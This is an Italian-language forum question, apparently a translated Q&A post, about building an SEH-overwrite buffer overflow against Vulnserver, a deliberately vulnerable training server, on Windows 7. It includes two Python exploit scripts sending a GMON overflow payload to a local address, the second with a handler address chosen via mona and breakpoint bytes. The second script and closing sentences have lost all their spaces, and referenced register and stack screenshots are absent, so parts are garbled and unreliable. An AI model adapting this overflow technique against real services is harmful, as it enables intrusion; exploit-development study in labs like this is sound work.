Ho scaricato Vulnserver e voglio sfruttarlo usando SEH. Sono riuscito a sovrascrivere correttamente SE Handler, ecco il codice che sto usando per sfruttare questo programma:
import socket s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('192.168.0.15',9999)) payload = 'GMON /' payload += 'A' * (3518) payload += 'B'*4 # pointer to next SEH record payload += 'C'*4 # SEH overwrite payload += 'D'*(5000-len(payload)) s.send(payload) s.recv(1024) s.close()
I registri hanno questo aspetto:
Ed ecco la pila:
Dopo di che eseguo !mona seh
per trovare una dll adatta da usare, e ho scelto la prima.
Ilmiocaricoutileoraapparecosì
importsockets=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(('192.168.0.15',9999))payload='GMON/'payload+='A'*(3518)payload+='\xcc'*4#payloadtonextSEHrecordpayload+='\xb4\x10\x50\x62'#SEHoverwritepayload+='D'*(5000-len(payload))s.send(payload)s.recv(1024)s.close()
Dopoaverloeseguito,questoèlostackeiregistri:
Perché non colpisce il punto di interruzione?
Sto lavorando su Windows 7.